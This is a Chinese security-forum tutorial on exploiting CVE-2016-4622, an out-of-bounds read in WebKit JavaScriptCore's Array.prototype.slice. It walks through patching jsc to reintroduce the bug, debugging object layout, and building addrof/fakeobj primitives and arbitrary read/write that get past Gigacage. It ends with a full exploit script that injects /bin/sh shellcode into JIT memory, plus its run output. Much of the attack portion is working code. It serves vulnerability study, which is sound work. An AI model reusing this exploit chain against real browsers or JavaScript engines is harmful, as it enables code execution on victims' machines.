用户
搜索
  • TA的每日心情
    开心
    2019-10-15 11:43
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    5

    主题

    6

    帖子

    157

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-11-15

    i春秋签约作者

    发表于 2020-4-1 02:14:52 02987
    本帖最后由 PwnRabb1t 于 2020-4-1 02:24 编辑

    本文原创作者PwnRabb1t,本文属i春秋原创奖励计划,未经许可禁止转载

    之前 fireshell 2020 的时候遇到了一道 webkit 的pwn题,因为自己木有用mac对webkit也是有一层隔膜的感觉,做题的时候发现webkit还可以在ubuntu上编译!? 于是燃起了自己的学习欲望,决定研究一下webkit 的漏洞利用。

    要学webkit 肯定要看saelo关于cve-2016-4622 利用的文章啦,这篇文章记录下自己的学习过程, 网上对这个cve已经有很多的分析,所以一些比较基础的点会适当省略,理解有误的地方望指正。

    环境搭建

    文章涉及的环境配置如下, 文章对应的文件可以在这里下载

    ubuntu 18.04 虚拟机 
    webkit (3af5ce129e6636350a887d01237a65c2fce77823)
    gdb(pwndbg 插件),lldb

    webkit 在 github 上有对应的镜像, 可以直接 git clone 下来, 然后checkout 到我们使用的版本3af5ce129e6636350a887d01237a65c2fce77823

    git clone --depth=1 https://github.com/WebKit/webkit
    git fetch --unshallow

    编译只要两行命令(在ubuntu1804 上编译没有遇到什么错误)

    Tools/gtk/install-dependencies
    Tools/Scripts/build-webkit --jsc-only --debug

    编译大概10多分钟,然后可以在WebKitBuild/Debug/bin/jsc 下找到可执行文件

    ╰─○ ./Debug/bin/jsc
    >>> 1+1
    2
    >>> a=[1.1]
    1.1
    >>> describe(a)
    Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {},
    >>>                                        

    cve-2016-0622 是好多年前的洞了,有漏洞的分支在 ubuntu1804上编译不了,我们使用的分支是18年的,要得到有漏洞的程序,我们需要手动打一下patch,参考https://github.com/m1ghtym0/write-ups/blob/master/browser/CVE-2016-4622/vuln.patch手动给源码打patch

    diff --git a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
    index c37389aa857..f77821c89ae 100644
    --- a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
    +++ b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
    @@ -973,7 +973,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
         if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
             return { };
    
    -    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
    +    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj);
         RETURN_IF_EXCEPTION(scope, { });
         if (LIKELY(okToDoFastPath)) {
             if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
    diff --git a/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp b/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp
    index e19c8a92a4e..550bc2fe270 100644
    --- a/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp
    +++ b/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp
    @@ -44,7 +44,7 @@ ObjectInitializationScope::~ObjectInitializationScope()
     {
         if (!m_object)
             return;
    -    verifyPropertiesAreInitialized(m_object);
    +    //verifyPropertiesAreInitialized(m_object);
     }
    
     void ObjectInitializationScope::notifyAllocated(JSObject* object, bool wasCreatedUninitialized)

    okay,然后是调试环境,我这里用的是gdb, 你可以在webkit的Tools/gdb目录下找到一个python 脚本, 在gdbinit 上导入它你就可以正常的调试jsc了

    python                                             
    import sys                                         
    sys.path.insert(0, "/webkit/webkit/Tools/gdb") 
    import webkit                                      

    跟 d8 类似, jsc 可以用 describe 函数来打印出对象的内存信息(d8 中的 %DebugPrint), 但是它没有类似d8的%SystemBreak 的断点函数,这里我用 readline() 函数代替,可以让程序停下来,然后查看内存。

    Reading symbols from ./Debug/bin/jsc...done.
    pwndbg> r
    Starting program: /webkit/webkit/WebKitBuild/Debug/bin/jsc
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    [New Thread 0x7ffff0781700 (LWP 33916)]
    >>> a=[1.1]
    1.1
    >>> describe(a)
    Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
    >>>

    漏洞分析

    下面是cve的poc, 执行之后得到的是一堆的浮点数, b 是 a.slice 出来的,valueOf 的返回值是 10, 相当于是b=a.slice(0,10) 这样, 但是这个操作是在valueOf 里面a.length =0 执行之后做的,这样slice之后就是一个数组越界了

    var a = [];                        
    for (var i = 0; i < 100; i++)      
        a.push(i + 0.123);             
    
    var b = a.slice(0, {               
          valueOf: function() {        
            a.length = 0;              
          return 10;                   
          }                            
        }                              
    );                                 
    print(b);                          
    //0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

    但是为什么会这样呢,我们给源码打的patch主要是去掉了arrayProtoFuncSlice 函数的length == toLength(exec, thisObj) 检查,它对应array Type 的 slice 函数,源码如下, 对应我们的poc

    EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
    {
        // https://tc39.github.io/ecma262/#sec-array.prototype.slice
        VM& vm = exec->vm();
        auto scope = DECLARE_THROW_SCOPE(vm);
        JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
        EXCEPTION_ASSERT(!!scope.exception() == !thisObj);
        if (UNLIKELY(!thisObj))
            return { };
        // 获取 array 的长度, 这里 a.length == 100
        unsigned length = toLength(exec, thisObj);
        RETURN_IF_EXCEPTION(scope, { });
        // slice 获取 slice 函数的 begin 和 end, 这里分别是 0, 10
        unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
        RETURN_IF_EXCEPTION(scope, { });
        unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
        RETURN_IF_EXCEPTION(scope, { });
        if (end < begin)
            end = begin;
    
        std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
        // We can only get an exception if we call some user function.
        EXCEPTION_ASSERT(!!scope.exception() == (speciesResult.first == SpeciesConstructResult::Exception));
        if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
            return { };
    
        //bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
        bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) ;
       if (LIKELY(okToDoFastPath)) {
            if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
                return JSValue::encode(result);
        }
     //.....................
       static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
    {
        JSValue value = exec->argument(argument);
        if (value.isUndefined())
            return undefinedValue;
    
        double indexDouble = value.toInteger(exec);
        if (indexDouble < 0) {
            indexDouble += length;
            return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
        }
        return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
    }

    在获取 slice的 end 参数的时候,会先执行 valueOf 里面的内容,这里是a.length = 0; ,于是JSC::JSArray::setLength 函数会被调用, 如果原来的array length 大于64,它会调用reallocateAndShrinkButterfly根据长度重新给array分配一个butterfly。 所以poc的 valueOf 执行完之后,a 就分配到了一个更小的内存里面了,此时的a.length=0, 接着arrayProtoFuncSlice 会调用JSC::JSArray::fastSlice (fastSlice 不会检查array的length)把原来a[0 , 10] 的内存拷贝到b 里面, 于是就有了数组越界了

    bool JSArray::setLength(ExecState* exec, unsigned newLength, bool throwException)
    {
        VM& vm = exec->vm();
        auto scope = DECLARE_THROW_SCOPE(vm);
    
        Butterfly* butterfly = this->butterfly();
        switch (indexingMode()) {
    //...
        case ArrayWithUndecided:
        case ArrayWithInt32:
        case ArrayWithDouble:
        case ArrayWithContiguous: {
            if (newLength == butterfly->publicLength())
                return true;
            if (newLength > MAX_STORAGE_VECTOR_LENGTH // This check ensures that we can do fast push.
                || (newLength >= MIN_SPARSE_ARRAY_INDEX
                    && !isDenseEnoughForVector(newLength, countElements()))) {
                RELEASE_AND_RETURN(scope, setLengthWithArrayStorage(
                    exec, newLength, throwException,
                    ensureArrayStorage(vm)));
            }
            if (newLength > butterfly->publicLength()) {
                if (!ensureLength(vm, newLength)) {
                    throwOutOfMemoryError(exec, scope);
                    return false;
                }
                return true;
            }
    
            unsigned lengthToClear = butterfly->publicLength() - newLength;
            unsigned costToAllocateNewButterfly = 64; // a heuristic.
            if (lengthToClear > newLength && lengthToClear > costToAllocateNewButterfly) {
                reallocateAndShrinkButterfly(vm, newLength);
                return true;
            }
    
            if (indexingType() == ArrayWithDouble) {
                for (unsigned i = butterfly->publicLength(); i-- > newLength;)
                    butterfly->contiguousDouble().at(this, i) = PNaN;
            } else {
                for (unsigned i = butterfly->publicLength(); i-- > newLength;)
                    butterfly->contiguous().at(this, i).clear();
            }
            butterfly->setPublicLength(newLength);
            return true;
        }
    
    //..
        }
    }
    

    okay, 到了这里我们就知道了漏洞时如何被触发的了, 在实际做漏洞利用之前我们需要了解一下jsc中对象的内存布局

    你可以在Source/JavaScriptCore/runtime/JSCJSValue.h找到jsc对各种类型对象的描述, jsc 中只用后48bit 来表示地址,开始的16个bit 用来表示不同的内存对象,就像d8 中指针类型要+1 一样

     |*                                                                                       
     |* The top 16-bits denote the type of the encoded JSValue:                               
     |*                                                                                       
     |*     Pointer {  0000:PPPP:PPPP:PPPP                                                    
     |*              / 0001:****:****:****                                                    
     |*     Double  {         ...                                                             
     |*              \ FFFE:****:****:****                                                    
     |*     Integer {  FFFF:0000:IIII:IIII                                                    
     |*                                                                                       
     |* The scheme we have implemented encodes double precision values by performing a        
     |* 64-bit integer addition of the value 2^48 to the number. After this manipulation      
     |* no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFF.       
     |* Values must be decoded by reversing this operation before subsequent floating point   
     |* operations may be peformed.                                                           
     |*                                                                                       
     |* 32-bit signed integers are marked with the 16-bit tag 0xFFFF.                         
     |*                                                                                       
     |* The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,       
     |* null and undefined values are represented by specific, invalid pointer values:        
     |*                                                                                       
     |*     False:     0x06                                                                   
     |*     True:      0x07                                                                   
     |*     Undefined: 0x0a                                                                   
     |*     Null:      0x02                                                                   

    我们创建一个 array对象, 需要注意的有butterflystructure 这两个东西, 具体的含义可以看看sealo 的文章,写的很详细,简单来说structure 就是用来描述对象长什么样的,butterfly就是用来放数据的(不太准确),

    (lldbinit) r
    Process 35875 launched: './Debug/bin/jsc' (x86_64)
    >>> a=[1.1]
    1.1
    >>> describe(a)
    Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
    >>> Process 35875 stopped
    * thread #1, name = 'jsc', stop reason = signal SIGSTOP
        frame #0: 0x00007ffff344e0b4 libc.so.6`__GI___libc_read at read.c:27
    (lldbinit) x/10gx 0x7fffaf4b4340
    0x7fffaf4b4340: 0x0108210700000062 0x00007fe0000e4008
    0x7fffaf4b4350: 0x00000000badbeef0 0x00000000badbeef0
    0x7fffaf4b4360: 0x00000000badbeef0 0x00000000badbeef0
    0x7fffaf4b4370: 0x00000000badbeef0 0x00000000badbeef0
    0x7fffaf4b4380: 0x00000000badbeef0 0x00000000badbeef0
    (lldbinit) p/x *(JSC::JSObject *)0x7fffaf4b4340
    (JSC::JSObject) $3 = {
      JSC::JSCell = {
        m_structureID = 0x00000062
        m_indexingTypeAndMisc = 0x07
        m_type = 0x21
        m_flags = 0x08
        m_cellState = 0x01
      }
      m_butterfly = (m_value = 0x00007fe0000e4008)
    }

    这里我们要关注 m_structureID ,jsc把不同的structure 描述放在一个表里面,m_structureID 就是不同的structure对应的index,array 的属性之类做了改变,也会跟着换m_structureID,  主要是一些优化上的考虑。

    >>> a=[1.1]
    1.1
    >>> describe(a)
    Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
    >>> a.push({})
    2
    >>> describe(a)
    Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
    >>> a.x=1
    1
    >>> describe(a)
    Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e0028 (Structure 0x7fffaf470310:[Array, {x:100}, ArrayWithContiguous, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 294

    漏洞利用

    从上面分析我们知道这是一个数组越界的漏洞,在浏览器的利用中,一般的步骤是构造出addroffakeobj 函数,然后构造出任意地址读写,最后劫持控制流之类的,像v8的利用中,就可以泄露wasmInstance 的内存地址,然后写shellcode来getshell. 这里我们的利用步骤如下:

    • 构造 addroffakeobj
    • 构造任意地址读写
    • 改写 jit写入shellcode getshell

    我们一步一步看

    构造 addrof 和 fakeobj

    jsc和 d8 些许的不同,但是基本思路还是差不多的,我们先要有下面两个函数, 方便做double到 unsigned long 类型的转换

    var conversion_buffer = new ArrayBuffer(8)
    var f64 = new Float64Array(conversion_buffer)
    var i32 = new Uint32Array(conversion_buffer)
    
    var BASE32 = 0x100000000
    function f2i(f) {
        f64[0] = f
        return i32[0] + BASE32 * i32[1]
    }
    
    function i2f(i) {
        i32[0] = i % BASE32
        i32[1] = i / BASE32
        return f64[0]
    

    addrof的实现如下

    function addrof(obj){
        var a=[];
        for(var i=0;i<100;i++){
            a.push(i+0.123);
        }
        var b=a.slice(0,{
            valueOf:function(){
                a.length=0;
                print(describe(a))
                var c=[obj];
                print(describe(c))
                return 10;
            }
        });
        print(describe(b))
        return f2i(b[4]);
    }
    
    test = [1.1];
    print(addrof(test).toString(16))
    readline()

    内存分配都会把差不多一样的内存块分配到一起,这里a和c的分配是连续的,c中存放的是一个对象,slice之后会被拷贝到b的 butterfly 里面,然后读b[4] 就可以拿到原来 obj的地址,注意这里slice之后b的类型会和原本a的类型一致,想这里它们都是ArrayWithDouble, 也就是double数组啦,用它来读数据获取到的是内存中实际保存的内容,如果是其他的类型如ArrayWithContiguous 读取到对象指针的时候返回的会是一个对象。

    
    Object: 0x7fffaf4b4390 with butterfly 0x7fe0000fe928 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
    Object: 0x7fffaf4b43a0 with butterfly 0x7fe0000fe948 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
    Object: 0x7fffaf4b43b0 with butterfly 0x7fe0000d4078 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
    
    pwndbg> x/20gx 0x7fe0000fe928
    //a (length == 0)
    0x7fe0000fe928: 0x3fbf7ced916872b0      0x3ff1f7ced916872b
    0x7fe0000fe938: 0x00000000badbeef0      0x0000000300000001
    // c = [obj]
    0x7fe0000fe948: 0x00007fffaf4b4380      0x0000000000000000
    0x7fe0000fe958: 0x0000000000000000      0x00000000badbeef0
    0x7fe0000fe968: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000fe978: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000fe988: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000fe998: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000fe9a8: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000fe9b8: 0x00000000badbeef0      0x00000000badbeef0
    pwndbg> x/20gx 0x7fe0000d4078
    0x7fe0000d4078: 0x3fbf7ced916872b0      0x3ff1f7ced916872b
    0x7fe0000d4088: 0x00000000badbeef0      0x0000000300000001
    0x7fe0000d4098: 0x00007fffaf4b4380      0x0000000000000000
    0x7fe0000d40a8: 0x0000000000000000      0x00000000badbeef0
    0x7fe0000d40b8: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000d40c8: 0x7ff8000000000000      0x7ff8000000000000
    0x7fe0000d40d8: 0x7ff8000000000000      0x00000000badbeef0
    0x7fe0000d40e8: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000d40f8: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe0000d4108: 0x00000000badbeef0      0x00000000badbeef0
    

    fakeobj 的构造也是类似,这里我们的a的原本类型是ArrayWithInt32, 就像前面说的,传进去一个伪造的对象的地址就会返回一个对象。

    function fakeobj(addr){
        var a=[];
        for(var i=0;i<100;i++){
            a.push(0x1337)
        }
        addr = i2f(addr);
        var b= a.slice(0,{
            valueOf:function(){
                a.length=1;
                var c=[addr]
                return 10;
            }
        });
        print(describe(b))
        return b[4];
    }
    //test=[1.1]                                              
    //var tmp = fakeobj(addrof(test))   
    //print(describe(test))             
    //print(describe(tmp))              
    //readline()                        
    

    构造任意地址读写

    好了,接下来我们要构造出任意地址读写,在这个之前我们需要知道,jsc中不同的类型是在不同的区域分配内存的,就像我们前面的

    Object: 0x7fffaf4b4390 with butterfly 0x7fe0000fe928 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
    Object: 0x7fffaf4b43a0 with butterfly 0x7fe0000fe948 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
    Object: 0x7fffaf4b43b0 with butterfly 0x7fe0000d4078 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98

    JSObjectbutterfly 的内存分配就不在一个地方, 在v8中我们可以用改写map之类的来构造内存读写,这里就写不到了,但是jsc中存在有 inline类型的数据, 像下面这样,它会把前6个 properties 保存在JSObject 的下面,我们可以把伪造的对象放在这个地方,然后`fakeobj(0x7fffaf4b0080 + 0x10) 就可以拿到这个伪造的对象

    >>> test={a:1,b:2,c:3,d:4,e:5,f:6,g:7}
    [object Object]
    >>> describe(test)
    Object: 0x7fffaf4b0080 with butterfly 0x7fe0000fe6e8 (Structure 0x7fffaf4705b0:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:100}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 300
    >>> Process 39470 stopped
    * thread #1, name = 'jsc', stop reason = signal SIGSTOP
        frame #0: 0x00007ffff344e0b4 libc.so.6`__GI___libc_read at read.c:27
    (lldbinit) x/10gx 0x7fffaf4b0080
    0x7fffaf4b0080: 0x010016000000012c 0x00007fe0000fe6e8
    0x7fffaf4b0090: 0xffff000000000001 0xffff000000000002
    0x7fffaf4b00a0: 0xffff000000000003 0xffff000000000004
    0x7fffaf4b00b0: 0xffff000000000005 0xffff000000000006
    0x7fffaf4b00c0: 0x00000000badbeef0 0x00000000badbeef0

    sealo 是通过修改Float64Arraym_vector 来获得任意地址读写的能力(实现在Source/JavaScriptCore/runtime/JSArrayBufferView.hJSC::JSArrayBufferView ), m_vector 指向的是要读写的内存,只要改了这个指针就可以任意地址读写了。

    >>> var tmp =  new ArrayBuffer(0x1000)
    undefined        
    >>> var f64 =  new Float64Array(tmp)        
    undefined
    >>> describe(tmp)
    Object: 0x7fffaf4c8280 with butterfly (nil) (Structure 0x7fffaf4f3640:[ArrayBuffer, {}, NonArray, Proto:0x7fffaf4c81e0, Leaf]), StructureID: 125
    >>> describe(f64)    
    Object: 0x7fffaf4c8360 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4707e0:[Float64Array, {}, NonArray, Proto:0x7fffaf4b4350, Leaf]), StructureID: 305
    >>> Process 40107 stopped              
    * thread #1, name = 'jsc', stop reason = signal SIGSTOP
        frame #0: 0x00007ffff344e0b4 libc.so.6`__GI___libc_read at read.c:27
    (lldbinit) x/10gx 0x7fffaf4c8360
    0x7fffaf4c8360: 0x01082c0000000131 0x00007fe0000e4008
    0x7fffaf4c8370: 0x00007fe8000ff000 0x0000000200000200
    0x7fffaf4c8380: 0x010217000000003a 0x0000000000000000
    0x7fffaf4c8390: 0x00007fffaf4cc000 0x00000000badbeef0
    0x7fffaf4c83a0: 0x010217000000003a 0x0000000000000000
    (lldbinit) x/10gx 0x00007fe8000ff000
    0x7fe8000ff000: 0x0000000000000000 0x0000000000000000
    0x7fe8000ff010: 0x0000000000000000 0x0000000000000000
    0x7fe8000ff020: 0x0000000000000000 0x0000000000000000
    0x7fe8000ff030: 0x0000000000000000 0x0000000000000000
    0x7fe8000ff040: 0x0000000000000000 0x0000000000000000
    (lldbinit) x/10gx 0x7fffaf4c8280
    0x7fffaf4c8280: 0x010023000000007d 0x0000000000000000
    0x7fffaf4c8290: 0x00007fffefec1840 0x00000000badbeef0
    0x7fffaf4c82a0: 0x01002e0000000043 0x0000000000000000
    0x7fffaf4c82b0: 0x00007fffaf468060 0x00007fffaf4d0060
    0x7fffaf4c82c0: 0x01002e0000000043 0x0000000000000000
    (lldbinit) p/x *(JSC:JSArrayBufferView*)0x7fffaf4c8360
    (JSC::JSArrayBufferView) $0 = {
      JSC::JSNonFinalObject = {
        JSC::JSObject = {
          JSC::JSCell = {
            m_structureID = 0x00000131
            m_indexingTypeAndMisc = 0x00
            m_type = 0x2c
            m_flags = 0x08
            m_cellState = 0x01
          }
          m_butterfly = (m_value = 0x00007fe0000e4008)
        }
      }
      m_vector = {
        m_barrier = {
          m_value = (m_ptr = 0x00007fe8000ff000)
        }
      }
      m_length = 0x00000200
      m_mode = 0x00000002
    }
      Fix-it applied, fixed expression was:
        *(JSC::JSArrayBufferView*)0x7fffaf4c8360
    
    gigacage

    现在的 m_vector 加上了 gigicage 的保护CagedPtr<Gigacage::Primitive, void, tagCagedPtr> m_vector, gigacage 是jsc中内存隔离的机制。

    基于安全考虑,jsc不同类型的数据类型会在不同的内存块上做分配(Source/bmalloc/bmalloc/HeapKind.h)

    enum class HeapKind {
                    Primary,
                    PrimitiveGigacage,
                    JSValueGigacage        //butterfly
            };

    jsc保存一个全局g_gigacageBasePtrs 数组,保存着不同类型的内存的基地址,内存块之间有32GB的间隔,因为 jsc 中数组下标的定义是 unsigned int 类型,这样能够防止数组越界写。特定类型的 gigacage 在内存操作的时候会做检查,像上面的m_vector, 它被定义在PrimitiveGigacage 这个堆块里面,如果把它改到其他的地方就会出错。

    pwndbg> p &g_gigacageBasePtrs
    $1 = (char (*)[4096]) 0x55555561f000 <g_gigacageBasePtrs>
    pwndbg> x/10gx 0x55555561f000
    0x55555561f000 <g_gigacageBasePtrs>:    0x00007fe800000000      0x00007ff000000000
    0x55555561f010 <g_gigacageBasePtrs+16>: 0x0000000000000000      0x0000000000000000
    0x55555561f020 <g_gigacageBasePtrs+32>: 0x0000000000000000      0x0000000000000000
    0x55555561f030 <g_gigacageBasePtrs+48>: 0x0000000000000000      0x0000000000000000
    0x55555561f040 <g_gigacageBasePtrs+64>: 0x0000000000000000      0x0000000000000000

    m_vector 是不行了,但是butterfly 是没有加上gigacage检查的,新的利用方法是改写ArrayWithDoublesbutterfly 字段。

    首先我们需要伪造对象, 我们要伪造的是ArrayWithDoubles 类型的对象,只需要有JSCellbutterfly 两个字段,伪造的时候我们需要保证m_structureID 是存在的,不然就会出错,我们可以生成大量不一样的double 数组,这样就会分配一堆的structureID, 我们随便拿一个(像这里0x200)是存在的几率就比较大

    var structs = [];
    function sprayStructures() {
        for (var i = 0; i < 1000; i++) {
                var a = [13.37];
                a['prop'] = 13.37;
                a['prop' + i] = 13.37;
                structs.push(a);
            }
    }
    sprayStructures()
    
    var victim = structs[0x300];
    
    var header_arrayDouble=i2f(0x0108210700000200-0x1000000000000)
    var container={
        fake_header:header_arrayDouble,
        butterfly: victim
    }
    container_addr=addrof(container);
    hax = fakeobj(container_addr+0x10);// fake object
    

    伪造之后的内存布局如下

    //hax
    jscell                //victim
    butterfly -------->   jscell
                 (hax[1]) butterfly  ----->(read/write anywhere)

    我们修改hax[1] 的值, 也就是 修改 victim 的 butterfly 字段到想要读写的地址,然后读写 victim 就可以任意地址读写啦

        read64:function(addr){
            hax[1]=i2f(addr+0x10)
            return this.addrof(victim.prop)
        },
        write64:function(addr,data){
            hax[1]=i2f(addr+0x10)
            victim.prop = this.fakeobj(data)
        },

    写 JIT getshell

    有了任意地址读写,接下来就是如何getshell的问题了,我们可以写wasm和 JIT来执行shellcode

    JIT保存是经常执行的一些代码段,我们可以重复执行某一个函数,然后他就会被放到JIT中,JIT和wasm一样是 rwx的内存,找出这块内存,写入shellcode 然后再次执行这个函数就可以getshell 了

    getJITFunction : function (){
            function target(num) {
                for (var i = 2; i < num; i++) {
                    if (num % i === 0) {
                        return false;
                    }
                }
                return true;
            }
            for (var i = 0; i < 1000; i++) {
                        target(i);
                    }
            for (var i = 0; i < 1000; i++) {
                        target(i);
                    }
            for (var i = 0; i < 1000; i++) {
                        target(i);
                    }
            return target;
        },

    完整exp 如下

    主要参考了这篇文章

    var conversion_buffer = new ArrayBuffer(8)
    var f64 = new Float64Array(conversion_buffer)
    var i32 = new Uint32Array(conversion_buffer)
    
    var BASE32 = 0x100000000
    function f2i(f) {
        f64[0] = f
        return i32[0] + BASE32 * i32[1]
    }
    
    function i2f(i) {
        i32[0] = i % BASE32
        i32[1] = i / BASE32
        return f64[0]
    }
    
    var structs = [];
    function sprayStructures() {
        for (var i = 0; i < 1000; i++) {
                var a = [13.37];
                a['prop'] = 13.37;
                a['prop' + i] = 13.37;
                structs.push(a);
            }
    }
    
    function addrof(obj){
        var a=[];
        for(var i=0;i<100;i++){
            a.push(i+0.123);
        }
        var b=a.slice(0,{
            valueOf:function(){
                a.length=0;
                //print(describe(a))
                var c=[obj];
                //print(describe(c))
                return 10;
            }
        });
        //print(describe(b))
        return f2i(b[4]);
    }
    
    function fakeobj(addr){
        var a=[];
        for(var i=0;i<100;i++){
            a.push(0x1337)
        }
        addr = i2f(addr);
        var b= a.slice(0,{
            valueOf:function(){
                a.length=0;
                var c=[addr]
                print(describe(a))
                print(describe(c))
                return 10;
            }
        });
        print(describe(b))
        return b[4];
    }
    
    sprayStructures()
    
    var victim = structs[0x300];
    
    var header_arrayDouble=i2f(0x0108210700000200-0x1000000000000)
    var container={
        fake_header:header_arrayDouble,
        butterfly: victim
    }
    
    //print(describe(container))
    container_addr=addrof(container);
    hax = fakeobj(container_addr+0x10);
    
    print(container_addr.toString(16));
    print(describe(hax));
    print(describe(victim));
    
    //ArrayWithDouble
    var unboxed = [1.1]
    unboxed[0]=3.3
    
    //ArrayWithContigous
    var boxed = [{}]
    
    hax[1] = i2f(addrof(unboxed))
    var shared = victim[1]
    hax[1] = i2f(addrof(boxed))
    victim[1] = shared;
    print(describe(unboxed))
    print(describe(boxed))
    
    var stage2={
        addrof: function(obj){
            boxed[0]=obj;
            return f2i(unboxed[0])
        },
        fakeobj: function(addr){
            unboxed[0]=i2f(addr)
            return boxed[0]
        },
        read64:function(addr){
            hax[1]=i2f(addr+0x10)
            return this.addrof(victim.prop)
        },
        write64:function(addr,data){
            hax[1]=i2f(addr+0x10)
            victim.prop = this.fakeobj(data)
        },
        getJITFunction : function (){
            function target(num) {
                for (var i = 2; i < num; i++) {
                    if (num % i === 0) {
                        return false;
                    }
                }
                return true;
            }
            for (var i = 0; i < 1000; i++) {
                        target(i);
                    }
            for (var i = 0; i < 1000; i++) {
                        target(i);
                    }
            for (var i = 0; i < 1000; i++) {
                        target(i);
                    }
            return target;
        },
        getRWXMem: function(){
            shellcodeFunc = this.getJITFunction()
            target_addr = this.read64(this.addrof(shellcodeFunc)+8*3)
            print(target_addr.toString(16))
            target_addr = this.read64(target_addr + 8*3)
            target_addr = this.read64(target_addr + 8*4)
            return [shellcodeFunc, target_addr]
        },
        injectShellcode : function (addr, shellcode){
            var theAddr = addr;
            for(var i=0, len=shellcode.length; i < len; i++){
                this.write64(target_addr+i, shellcode[i].charCodeAt());
            }
        },
        pwn:function(){
            shellcodeObj = this.getRWXMem();
            shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
            this.injectShellcode(shellcodeObj[1], shellcode);
            var shellcodeFunc = shellcodeObj[0];
            shellcodeFunc();
        },
    
    };
    
    stage2.pwn()

    运行效果如下

    {} WebKitBuild ./Debug/bin/jsc   exp.js
    Object: 0x7fffaf40c360 with butterfly 0x7fe0000be8e8 (Structure 0x7fffaf4f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 97
    Object: 0x7fffaf40c370 with butterfly 0x7fe0000be908 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98
    Object: 0x7fffaf40c380 with butterfly 0x7fe0000d81c8 (Structure 0x7fffaf4f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 97
    7fffaf4c8380
    Object: 0x7fffaf4c8390 with butterfly 0x7fffaf4b7380 (Structure 0x7fffaf4423e0:[Array, {prop:100, prop194:101}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 512
